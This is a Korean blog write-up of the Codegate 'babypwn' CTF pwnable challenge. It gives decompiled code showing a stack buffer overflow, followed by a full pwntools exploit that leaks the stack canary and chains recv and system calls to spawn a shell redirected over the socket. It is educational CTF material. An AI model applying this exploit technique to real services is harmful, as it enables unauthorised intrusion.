본문 바로가기

CTF/Codegate

Codegate pwnable_babypwn Write up

Canary 문제를 거의 풀어본적이 없었는데 요즘 좀 많이 푸는것처럼 느낀다 ㅎㅎ

이 문제 비슷한 유형을 저번에 본적이 있었는데 익스를 마저 못했다. 이번에는 다행이도 익스는 되었다.

 

일단 먼저 IDA로 보자.

unsigned int sub_8048A71()
{
  int v1; // [esp+1Ch] [ebp-3Ch]
  char v2; // [esp+24h] [ebp-34h]
  unsigned int v3; // [esp+4Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(&v2, 0, 0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        sub_80488B1("\n===============================\n");
        sub_80488B1("1. Echo\n");
        sub_80488B1("2. Reverse Echo\n");
        sub_80488B1("3. Exit\n");
        sub_80488B1("===============================\n");
        v1 = sub_804895A();
        if ( v1 != 1 )
          break;
        sub_80488B1("Input Your Message : ");
        sub_8048907(&v2, 0x64u);
        sub_80488B1(&v2);
      }
      if ( v1 != 2 )
        break;
      sub_80488B1("Input Your Message : ");
      sub_8048907(&v2, 0x64u);
      sub_80489C8(&v2);
      sub_80488B1(&v2);
    }
    if ( v1 == 3 )
      break;
    sub_80488B1("\n[!] Wrong Input\n");
  }
  return __readgsdword(0x14u) ^ v3;
}

먼저 Main 처럼 느껴지는 함수이다.

일단 똑같은 값을 저장하는거 보니까 1번을 누르든 2번을 누르든 상관없을거같아 보인다.

똑같이 v2 에 저장을 하는데 0x64 만큼 받는다.

오버플로우가난다. 일단 v2를 입력하고 출력해주는것을 봐서 이것도 까나리가 있는대까지 문자열을 넣어줘서 같이 출력되게 해줘야한다. 그러면 간단하게 코드를 짜보자.

 

payload = "A"*41
p.send(payload)

dump = p.recv(1024)
canary_leak = u32("\x00"+dump[41:44])
log.success("Canary Leak Success")
log.info("Canary :" + hex(canary_leak))

이렇게 하면 카나리가 릭이 될것이다.

 

그럼 이 다음으로는 read, write 함수가 없으므로 recv 를 이용하여 bss에 값을 넣을준비를 한후 system 함수를 호출하여 익스를 해주면 된다.

 

from pwn import *

p = remote("localhost",8181)
binf = ELF("./babypwn")

addr_recv_plt = binf.plt['recv']
addr_bss = binf.bss()
addr_ppppr_gadget = 0x8048eec
addr_system = binf.plt['system']
binsh = "/bin/sh >&4 <&4 2>&4"

p.recvuntil("> ")
p.sendline("1")
p.recvuntil(": ")

payload = "A"*41
p.send(payload)

dump = p.recv(1024)
canary_leak = u32("\x00"+dump[41:44])
log.success("Canary Leak Success")
log.info("Canary :" + hex(canary_leak))

p.recvuntil("> ")
p.sendline("1")
p.recvuntil(": ")

payload = "A"*40
payload += p32(canary_leak)
payload += "A"*12

payload += p32(addr_recv_plt)
payload += p32(addr_ppppr_gadget)
payload += p32(4)
payload += p32(addr_bss)
payload += p32(len(binsh))
payload += p32(0)

payload += p32(addr_system)
payload += "A"*4
payload += p32(addr_bss)

p.send(payload)
#p.send("/bin/sh")

p.recvuntil("> ")
p.sendline("3")

p.send(binsh)

p.interactive()

간단한 문제였다

'CTF > Codegate' 카테고리의 다른 글

Codegate Misc_babymisc Write up  (0) 2019.10.31
Codegate pwnable_Super_marimo Write up  (0) 2019.10.28
Codegate Reverse_angrybird_ Write up  (0) 2019.10.24
Codegate pwnable_nuclear Write up  (0) 2019.10.24
Codegate pwnable_Watermelon Write up  (0) 2019.10.24